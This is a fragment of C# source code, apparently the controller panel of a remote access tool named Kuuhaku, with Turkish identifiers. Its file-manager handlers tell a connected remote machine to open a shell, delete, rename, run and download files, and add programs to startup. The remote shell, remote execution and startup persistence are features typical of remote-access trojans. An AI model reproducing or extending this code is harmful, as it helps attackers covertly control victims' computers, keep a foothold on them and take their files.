private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) { if (_connectClient != null) { string path = _currentDir; if (lstDirectory.SelectedItems.Count == 1) { var item = lstDirectory.SelectedItems[0]; DizinTürleri type = (DizinTürleri)item.Tag; if (type == DizinTürleri.Klasör) { path = GetAbsolutePath(item.SubItems[0].Text); } } if (_connectClient.Value.FrmRs != null) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoShellExecute(string.Format("cd \"{0}\"", path)).Execute(_connectClient); _connectClient.Value.FrmRs.Focus(); } else { FrmUzakKabuk frmRS = new FrmUzakKabuk(_connectClient); frmRS.Show(); new KuuhakuCekirdek.Paketler.ServerPaketleri.DoShellExecute(string.Format("cd \"{0}\"", path)).Execute(_connectClient); } } }
private void deleteToolStripMenuItem_Click(object sender, EventArgs e) { int count = lstDirectory.SelectedItems.Count; if (count == 0) { return; } if (MessageBox.Show(string.Format("Bu dosyaları silmek istediğinizden emin misiniz {0} dosya(lar)?", count), "Silme Onayı", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { foreach (ListViewItem files in lstDirectory.SelectedItems) { DizinTürleri type = (DizinTürleri)files.Tag; switch (type) { case DizinTürleri.Klasör: case DizinTürleri.Dosya: string path = GetAbsolutePath(files.SubItems[0].Text); if (_connectClient != null) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoPathDelete(path, type).Execute(_connectClient); } break; } } } }
private void renameToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { DizinTürleri type = (DizinTürleri)files.Tag; switch (type) { case DizinTürleri.Klasör: case DizinTürleri.Dosya: string path = GetAbsolutePath(files.SubItems[0].Text); string newName = files.SubItems[0].Text; if (InputBox.Show("Yeni isim", "Yeni isim giriniz:", ref newName) == DialogResult.OK) { newName = GetAbsolutePath(newName); if (_connectClient != null) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoPathRename(path, newName, type).Execute(_connectClient); } } break; } } }
private void executeToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { DizinTürleri type = (DizinTürleri)files.Tag; if (type == DizinTürleri.Dosya) { string path = GetAbsolutePath(files.SubItems[0].Text); if (_connectClient != null) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoProcessStart(path).Execute(_connectClient); } } } }
public void AddItemToFileBrowser(string name, string size, DizinTürleri type, int imageIndex) { try { ListViewItem lvi = new ListViewItem(new string[] { name, size, (type != DizinTürleri.Geri) ? type.ToString() : string.Empty }) { Tag = type, ImageIndex = imageIndex }; lstDirectory.Invoke((MethodInvoker) delegate { lstDirectory.Items.Add(lvi); }); } catch (InvalidOperationException) { } }
private void lstDirectory_DoubleClick(object sender, EventArgs e) { if (_connectClient != null && _connectClient.Value != null && lstDirectory.SelectedItems.Count > 0) { DizinTürleri type = (DizinTürleri)lstDirectory.SelectedItems[0].Tag; switch (type) { case DizinTürleri.Geri: SetCurrentDir(Path.GetFullPath(Path.Combine(_currentDir, @"..\"))); RefreshDirectory(); break; case DizinTürleri.Klasör: SetCurrentDir(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text)); RefreshDirectory(); break; } } }
private void downloadToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { DizinTürleri type = (DizinTürleri)files.Tag; if (type == DizinTürleri.Dosya) { string path = GetAbsolutePath(files.SubItems[0].Text); int id = DosyaYardımcısı.GetNewTransferId(files.Index); if (_connectClient != null) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoDownloadFile(path, id).Execute(_connectClient); AddTransfer(id, "İndir", "Bekleniyor...", files.SubItems[0].Text); } } } }
private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { DizinTürleri type = (DizinTürleri)files.Tag; if (type == DizinTürleri.Dosya) { string path = GetAbsolutePath(files.SubItems[0].Text); using (var frm = new FrmBaşlangıcaEkle(path)) { if (frm.ShowDialog() == DialogResult.OK) { if (_connectClient != null) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoStartupItemAdd(Başlangıçİtemleri.Name, Başlangıçİtemleri.Path, Başlangıçİtemleri.Type).Execute(_connectClient); } } } } } }
public DoPathDelete(string path, DizinTürleri pathtype) { this.Path = path; this.DizinTürleri = pathtype; }
public DoPathRename(string path, string newpath, DizinTürleri pathtype) { this.Path = path; this.NewPath = newpath; this.PathType = pathtype; }